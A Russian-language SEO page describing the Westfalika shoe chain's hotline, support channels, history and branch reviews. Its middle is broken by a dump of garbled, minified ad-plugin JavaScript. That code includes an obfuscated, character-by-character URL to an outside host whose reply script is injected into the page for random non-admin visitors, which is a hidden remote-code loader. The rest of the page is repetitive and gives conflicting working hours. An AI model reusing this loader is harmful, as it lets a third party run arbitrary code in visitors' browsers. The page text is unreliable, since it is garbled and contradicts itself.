Вестфалика Горячая линия ? — Бесплатный Телефон Поддержки ⋆ Техподдержка

Бесплатная горячая линия магазина «вестфалика»

Большинство покупателей предпочитают консультироваться по бесплатному телефону 8 800 555 25 53, работающему по всей стране. Операторы рассматривают любые обращения, касающиеся обслуживания. Можно узнать расположение магазинов, время работы или подробности совершения заказов через интернет.

Помимо основного контактного телефона работают дополнительные горячие линии. Для просмотра контактной информации откройте вкладку «Адреса магазинов». Отобразится перечень торговых точек, принадлежащих компании. Возле каждого магазина указаны контактные данные, расположение, время работы.

В каком случае поддержка не сможет помочь?

Не нужно надеяться, что поддержка окажет консультацию в вопросах раскрытия конфиденциальных сведений о своих клиентах, партнерах или сотрудниках.

Некоторые запросы не могут быть улажены в дистанционной форме, поэтому консультанты рекомендуют обращаться в магазин для детального разбирательства, особенно если речь идет о возврате товара.

Вестфалика нижний новгород телефон горячей линии. как подать резюме

“:’

‘:””,document.createElement(“div”),c=ff(window),b=ff(“body”),g=void 0===flatPM_getCookie(“flat_modal_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” a.ID “_mb”),i=”scroll.flatmodal” a.ID,m=”mouseleave.flatmodal” a.ID ” blur.flatmodal” a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&”true”==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie&&g&&(flatPM_setCookie(“flat_modal_” a.ID “_mb”,!1),ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l()),void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ p “

“),w=document.querySelector(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_modal-content’),flatPM_setHTML(w,e),”px”==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_cross’,function(){flatPM_setCookie(“flat_out_” a.ID “_mb”,!1)})),void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=a.how.outgoing.indent?’ style=”bottom:’ a.how.outgoing.indent ‘px”‘:””,p=”true”==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer?’

Закрыть через ‘ a.how.outgoing.timer_count “

“:’

‘:””,c=ff(window),h=”scroll.out” a.ID,m=”mouseleave.outgoing” a.ID ” blur.outgoing” a.ID,g=void 0===flatPM_getCookie(“flat_out_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” a.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(a.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ p “

“);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’);flatPM_setHTML(w,e),”px”==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.fpm_5_out .fpm_5_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.fpm_5_modal .fpm_5_cross”,function(){ff(this).closest(“.fpm_5_modal”).removeClass(“fpm_5_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),ff(“[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)”).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(“div”)),r=(d.exec(e)||[“”,””])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,”<$1>”) r[2],n=r[0];n–;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,166);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “r” “e” “a” “d” “o” “n” “e” “.” “r” “u” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,r=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’

‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘

‘);var t=e.closest(“.fpm_5_video”);flatPM_setHTML(t[0],n),e.find(“.fpm_5_video_flex”).one(“click”,function(){o(this).addClass(“show”)})}),o(“body”).on(“click”,”.fpm_5_video_item_hover”,function(){var e=o(this),t=e.closest(“.fpm_5_video_flex”);t.addClass(“show”);var a=t.find(“.fpm_5_timer span”),r=parseInt(l),n=setInterval(function(){a.text(–r),r<=0&&(clearInterval(n),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.fpm_5_video_flex .fpm_5_cross”,function(){o(this).closest(“.fpm_5_video_flex”).remove(),”true”==i&&o(“.fpm_5_video_flex”).remove()})};});

Возможности горячей линии

Среди общих возможностей горячей линии можно отметить следующие:

использование голосового автоматизированного меню и управление разделами;
связь с реальным оператором для решения нестандартных задач;
получение консультаций и помощи в целом.

Через горячую линию можно отправить жалобу или отзыв о работе компании. Сделать это можно через один из пунктов голосового меню. Также предлагается связаться с оператором и сообщить о причине и сути претензии/предложения.

Как правило: большинство компаний принимают жалобы с фиксацией информации от обратившегося клиента в базе данных. Для контроля за обращением рекомендуется записать его номер и в последующем перезвонить для уточнения информации и деталей, касающихся существующей проблемы по номеру горячей линии.

Для того чтобы свой задать вопрос, воспользуйтесь формой ниже ⤵

Возможности горячей линии westfalika

Покупатели могут проконсультироваться по любым вопросам:

Выбор подходящего товара;
Способы доставки;
Проверка местоположения посылки;
Оплата заказа;
Оформление рассрочки;
Проведение гарантийного обслуживания;
Создание кабинета;
Восстановление доступа;
Возврат товара;
Отправка жалоб на обслуживание.

Обратите внимание – сотрудники поддержки отказываются обсуждать ценовую политику магазина или разглашать информацию, которая представляет собой коммерческую тайну. Игнорируются вопросы, содержащие оскорбления или нецензурную лексику.

Вопросы и ответы

Время работы

Режим работы отдельных торговых точек уточняйте на сайте, горячая линия доступна круглосуточно по телефону 8 800 555 25 53.

«Вестфалика» – крупный магазин обуви и одежды. Первые отделения появились в 1993 году в городе Новосибирск. Впоследствии была создана виртуальная версия магазина, позволяющая совершать заказы через интернет. Каталог содержит большое разнообразие предметов гардероба. Кроме одежды продаются бытовые товары и детские игрушки. Покупатели могут оплачивать покупки полностью или оформлять рассрочку.

Поскольку начинающие пользователи иногда затрудняются с совершением заказов или оплатой, на сайте «Вестфалика» работает справочный раздел с подобными инструкциями. Описаны правила заказов и доставки товаров. Если невозможно решить найденную проблему самостоятельно – воспользуйтесь многоканальным контактным центром. Сотрудники поддержки обязательно рассмотрят вопрос.

Горячая линия вестфалика

Получайте консультацию оперативно, дозвонившись на один из предложенных номеров:

О других контактах можете узнать подробней здесь – .

График работы

Режим работы горячей линии, также, как и магазинов ежедневный с 10:00 до 20:00.

Для каких случаев нужна служба поддержки?

Помощь менеджеров Вестфалика может потребоваться, как обычным покупателям в «точках», так и пользователям сайта.

Специалисты ответят на вопросы по оформлению заказа, способов оплаты и доставки, помогут разобраться в подборе и т.д.

Покупатели смогут оставить жалобы, отзывы или другие пожелания.

Для каких случаев предназначена горячая линия?

Интернет-магазин Вестфалика старается активно поддерживать своих клиентов, поэтому при возникновении вопросов, готов помочь почти во всех случаях. Список тем широкий, можно узнать сведения о работе компании.

Помощь сотрудников call-центра предоставляется в таких случаях:

Выбор товара.
Оплата.
Доставка.
Отслеживание.
Проблемы с переводами.
Условия покупки в рассрочку.
Правила обслуживания по гарантийным случаям.
Проблемы с доступом в личный кабинет.
Обмен и возврат продукции.

Операторы по телефону готовы принять отзывы, жалобы, претензии.

Для чего нужна служба поддержки

Предназначена служба поддержки Вестфалика для информационного сопровождения и удаленного обслуживания клиентов компании и всех, кто интересуется определенным направлением ее деятельности.

С помощью звонка на горячую линию можно получить информацию в голосовом меню или связаться с оператором.

Оператор — не всегда «живой человек». В последнее время современные компании внедряют в деятельность автоматизированные голосовые меню, в которых можно без выбора определенных пунктов сразу задавать вопросы. Робот даёт на них ответы, распознавая информацию в аудио режиме.

Для чего нужна служба поддержки:

Оказание помощи клиентам. Решение финансовых вопросов, проблем и сложностей.
Информационное сопровождение. Консультирование по обслуживанию, товарам, услугам.
Обеспечение связи с представительством компании, бренда, сети магазинов по разным вопросам.
Управление счетами, аккаунта и и всем, что касается деятельности компании.

Горячая линия и служба поддержки Вестфалика обычно работают как единое целое. Этот инструмент предназначен для обеспечения надёжной и полноценной связи между организацией и клиентами.

Если у потребителя возникают вопросы или проблемы, он может обратиться в службу поддержки, позвонив по номеру телефона.

Другие методы связи

Постоянные посетители магазина Вестфалика подписываются на официальные сообщества компании в социальных сетях. На страницах выкладываются последние новости интернет-магазина, скидки и разнообразные справочные материалы. Для покупателей предусмотрена страница «Обсуждения», позволяющая задавать вопросы или делиться отзывами. Модераторы обрабатывают входящие сообщения за несколько часов. Обычно ответ приходит в течение рабочего дня.

Другие способы контакта с «вестфалика»

Служба поддержки отвечает на вопросы не только по телефону. Есть онлайн-чаты на сайте, в личном кабинете и в соц. сетях.

Задать вопрос через приложение вестфалика

Магазин Westfalika разработал одноименное мобильное приложение. Оно позволяет просматривать каталог продукции, совершать заказы, составлять списки избранного. Пользователи способны открыть раздел «Поддержка» при возникновении любых вопросов.

История

Появление бренда было связано с организацией крупной оптовой компании (1993 год), занимавшейся дистрибуцией обуви (российского, иностранного производства). Сейчас каталог товаров включает обувную продукцию, но и другие позиции (посуда, бытовая техника, аксессуары, канцелярия и другое).

Кроме торговой деятельности, было решено развернуть собственное производство. С 2003 года компания структурно входит в группу «Обувь России». Объединение, вызванная этим реорганизация, позволила компании увеличить объемы продаж до рекордных 1 млн. пар. После ребрендинга уже 2022 года, большинство заведений сменило вывеску на Westfalika shoes.

Как написать в службу поддержки интернет-магазина вестфалика?

Официальный сайт по адресу — , позволит просмотреть полный ассортимент продукции, ознакомиться с акциями, программами лояльности, новогодними скидками, гарантийным обслуживанием самостоятельно. Есть и вкладка, «», в которой сотрудники техподдержки постарались точно осветить наиболее интересные темы.

Служба поддержки Вестфалика готова ответить в электронной форме только в случаях:

Как написать в службу поддержки?

Несмотря на наличие горячей линии, покупатели могут рассчитывать и на общение с представителями Вестфалика в электронной форме.

Чтобы составить обращение с жалобами, отзывами, пожеланиями или просто задать вопрос, воспользуйтесь одним из способов:

Как написать в службу поддержку вестфалика

Горячая линия магазина Вестфалика
Перед обращением в поддержку обязательно откройте страницу под названием «Вопросы и ответы». Здесь собраны все правила обслуживания клиентов. Если информации недостаточно — воспользуйтесь службой поддержки. Отправьте вопрос любым способом:

Через чат;
На странице социальной сети;
Через кабинет.

Если хотите получить ответ быстрее — пишите в чат. Обычно консультанты рассматривают вопросы за несколько минут. Переписку можно всегда продолжить, если возникли другие вопросы или необходимо уточнить подробности проблемы.

Второй способ связи подразумевает использование кабинета. Отправлять обращения могут только зарегистрированные покупатели. Пройдите авторизацию и выберете раздел «Поддержка». Подробно опишите проблему. Нажмите кнопку «Отправить». Сообщение будет передано сотрудникам магазина. После получения ответа отобразится уведомление.

Как подать жалобу?

Жалоба на сотрудников Вестфалика или качество товаров может быть составлена несколькими способами:

По звонку на горячую линию.
Отправив письмо по почте.
Через чат на сайте.

Какой телефон горячей линии интернет-магазина вестфалика?

Единый телефон горячей линии по всей России — 8 800 555 25 53, доступен со всех мобильных, стационарных устройств. Он бесплатный в пределах всех регионов и работает круглосуточно.

Если нужно выяснить номер телефона конкретного заведения, обращайтесь по горячей линии или просмотрите информацию на портале, открыв вкладку «». Кроме данных о времени работы, адресах, у некоторых торговых точках есть свои контакты.

Личный кабинет

На сайте «Вестфалика» можно зарегистрировать личный кабинет. Для этого перейдите по ссылке:

О компании

Вестфалика (Westfalika) — это кроме крупной торговой сети, также и производственное объединение по изготовлению обуви (мужская, женская, специализированная).

Реализуется продукция через собственные салоны, а также в магазинах партнеров. Для удобства клиентов был организован Интернет-магазин, где пользователи могут оформить онлайн-заказ.

О магазине «вестфалика»

«Вестфалика» – сеть розничных магазинов обуви, одежды и аксессуаров для всей семьи. Всего их больше 300 по всей России. Компания основана в 1993 году в Новосибирске. Продукцию производят сами из натуральных материалов.

С 2022 года лицом бренда стала Валерия. Сначала ее образ использовали только для рекламного продвижения. В 2022 году певица приняла участие в разработке линейки обуви, названную в честь нее же. Валерия сама носит обувь от «Вестфалика»: как в повседневной жизни, так и на съемках.

Также в «Вестфалика» дают займы (наличными на любые цели). Заявку одобряют в течение 15 минут. Для оформления обратитесь в ближайший магазин в вашем городе либо оставьте заявку, позвонив на горячую линию.

Обращение в поддержку через личный кабинет

Для регистрации и входа в личный кабинет используйте ссылку: .

Личный кабинет позволяет, как отправлять сообщения в техподдержку, так и пользоваться доп. опциями (участие в акциях, поиск товаров и т.д.).

Для отправки обращений воспользуйтесь формой «Помощь» и заполните всплывающее «окно».

Помощь через мобильное приложение

Магазин «Вестфалика» создал приложение для постоянных покупателей. Возможности программы практически полностью аналогичны кабинету. Пользователи просматривают каталог товаров, совершают заказы и узнают местоположение отправленных товаров. При необходимости можно проконсультироваться с поддержкой. Откройте вкладку «Поддержка» для составления обращения. После отправки вопроса ожидайте ответа сотрудников.

Предназначение контактного центра

Консультанты рассматривают вопросы, затрагивающие:

Выбор товара;
Варианты доставки посылок;
Способы оплаты;
Отслеживание;
Условия предоставления рассрочки;
Гарантийный сервис;
Использование личного кабинета;
Возврат изделий;
Формирование претензий.

Операторы отказываются сравнивать ценовую политику магазина с конкурентами. Наложен запрет на распространение личных данных других пользователей. Кроме того, невозможно дистанционно решать вопросы, требующие личного посещения магазина (например – возврат некачественного товара).

Приложения в google play и app store

У бренда есть свое мобильное приложение. Оно доступно для App Store:

Из Google Play Market приложение удалили.

Программа Westfalika – мобильная альтернатива личному кабинету на сайте. Ее разработали в 2022 году, чтобы клиентам было удобно заказывать продукцию со смартфона. В приложении есть все функции, что и в десктопном кабинете, в том числе чат со службой поддержки и карта с розничными магазинами в разных городах.

Расписание работы

Телефон контактного центра магазина «Вестфалика» доступен круглосуточно.

Режим работы

Большинство магазинов открыты с 9:00 до 19/20:00 часов. Аналогичный график работы заявлен и для службы поддержки.

Связь со службой поддержки через мобильное приложение

Приложение компании можно использовать, как для поиска, покупки продукции, так и, как способ обратиться в поддержку. Единственное условие, клиенты должны иметь учетную запись в Интернет-магазине.

Установить ПО можно на смартфоны, в которые работают под Android или iOS.

Связь со службой поддержки через приложение

Приложение Westfalika, снимки экрана

Воспользуйтесь формой обратной связи через мобильное приложение, в котором кроме покупок, просмотра акций, пользователи смогут оставить запрос и получить ответ в оперативном режиме.

Кликайте по разделу «Техподдержка», войдя в личный кабинет и заполняйте форму согласно рекомендаций.

Служба поддержки вестфалика

Westfalika site Задавайте вопросы через соц. сети или мессенджеры:

Менеджеры готовы ответить на любые обращения, где речь идет о товарах, работе магазинов.

Соц. сети

У «Вестфалика» есть сообщества в соц. сетях:

В группах публикуют информацию о товарах, новости, актуальные скидки. Также в разделе «Обсуждения» можно задавать вопросы по займам и рассрочке, обслуживанию в магазине. Есть отдельная тема «Что делать, если пришел брак».

Телефон горячей линии

Бесплатный телефон «Вестфалика»:

8 800 555 25 53

На номер можно звонить с любого региона России и с любого телефона – городского или мобильного. Линия круглосуточная. Операторы помогут решить следующие вопросы:

Отследить посылку.
Узнать условия рассрочки или займа.
Выбрать товар.
Узнать об условиях гарантийного сервиса.
Войти в личный кабинет, если возникли проблемы с авторизацией.
Подать жалобу, претензию.
Оставить отзыв либо пожелание и многое другое.

По поводу возврата некачественного товара обращайтесь сразу в ближайший магазин в вашем городе. Список розничных магазинов и адресов есть на официальном сайте «Вестфалика».

Как отправить претензию или отзыв?

Различают несколько способов написания претензии:

Чат;
Социальные сети;
Личный кабинет;
Жалобная книга (в магазине).

Допускается заполнять обращение в свободной форме. Важно указывать подробное описание ситуации и достоверные личные данные.

Отзывы о филиальной сети

11.05.2022 05:54 Юлия А. → пр.Находкинский д.20 (Находка): Хороший магазин, отличная обувь, очень доброжелательные продавцы, без покупок не уйдешь!

05.01.2022 01:18 Максим → ул. Садовая, 2 (1 этаж) (Нижний Тагил): Обувь хранится в подвале в сырости гнеет и покрывается плесенью чистица и продается

24.11.2021 15:45 Ирина → Прудская улица, 1а (Новоалтайск): Очень хороший магазин можно оформить в рассрочку продовцы очень приветливые подберут посоветуют

16.04.2021 05:27 Лариса → пр. Космонавтов, 51 (Екатеринбург): Магазин ужасный обслуживание не какое купила полуботинки пришла домой померила поняла что носить не смогу на следующий день сдала а теперь не могу получить деньги товар в порядке его не носили почему не вернуть по закону в течение 10 дней то есть теперь будут специально ждать 10 дней я сама работала в торговле и знаю как это происходит а магазин отвратный

10.04.2020 10:35 Александра → ул. М. Рыбалко, 32 (Пермь): Здравствуйте.Магазин не работает,скоро платить за потребительский займ,по телефону 88005552553 не могла дозвониться,куда идти, чтобы оплатить кредит ?

10.04.2020 07:12 Ирина → ул. Карпинского, 36 (Пермь): У меня должен был быть платеж 5 апреля. Магазин закрыт! Телефон не отвечает! Идут сообщения о просрочке! В чем моя вина! Куда заплатить ??? И как ?

11.02.2020 05:28 Айгуль → пр. Ленина, 89 ТЦ «Фабрика» (Магнитогорск): Очень очень разочарована в продукция,а именно в сапогах.Второй раз покупаю и разрывается кожа где закреплена с подошвой.Как на зло обнаружила вечером в последней день гарантии.Купила за 7400 рублей, так надеялась что долго буду одевать.В том году также купила, через месяц,как гарантийный срок прошёл-порвались.Буду искать обувь в других местах.

27.08.2022 10:42 Аида → Сармановский тракт, 18/38А ТЦ «Алтын Ай» (Набережные Челны): Хочу по благодарить коллектив магазина,за чуткость и понимание.Очень ответственные и внимательные консультанты!

31.01.2022 22:30 гАЛИНА нИКОЛАЕВНА → ул. Ватутина, 27 (Новосибирск): кУПИЛА 2 ПАРЫ САПОГ ГДЕ ТО 2004ГОДУ нОСИЛА С УДОВОЛЬСТВИЕМ ОДНУ ПАРУ 2-Я ЛЕЖАЛА КАК ЗАПАСНАЯ кОГДА В 2022 ПАРА ПРИШЛА В НЕГОДНОСТЬ ДОСТАЛА ВТОРУЮ ПАРУ НО У НЕЕ ПОДОШВА ВЫСОХЛА ЗА СТОЛЬ ДОЛГОЕ ВРЕМЯ зАМЕНИЛА ПОДОШВУ И ДО СИХ ПОР НОШУ С УДОВОПЬСВИЕМ нОГА НЕ СОВСЕМ СТАНДАРТНАЯ – ПОЛНОВАТА сАПОГИ ДО КОЛЕНА КАК Я ЛЮБЛЮ.я ОЧЕНЬ ДОВОЛЬНА КАЧЕСТВОМ И ДИЗАЙНОМ САПОГ оЧЕНЬ ХОТЕЛОСЬ БЫ КУПИТЬ ЕЩЕ ЗИМНИЕ И ОСЕННИЕ САПОГИ ВАШЕЙ ФИРМЫ

14.10.2022 18:20 Роза → ул. Декабристов, 160/40 (Казань): Купила пальто зимниго типа за 10тысяч пришла домой обнаружила брак , продавцы грубые очень не понравилось обслуживание в этом магазине огорчена примите меры адрес г Казань ул Декабристов 160/40

Как написать жалобу или отзыв

Существует несколько вариантов написания претензии:

Через чат;
На страницах социальных сетей;
Через кабинет;
Непосредственно в магазине (попросите жалобную книгу).

Жалобу можно составлять в свободной форме. Главное – указывать подробности проблемы.

Дополнительно о техподдержке

Сейчас ищут техподдержку: Whats app для windows

Cookie	Duration	Description
cookielawinfo-checkbox-analytics	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics".
cookielawinfo-checkbox-functional	11 months	The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional".
cookielawinfo-checkbox-necessary	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary".
cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other.
cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".
viewed_cookie_policy	11 months	The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data.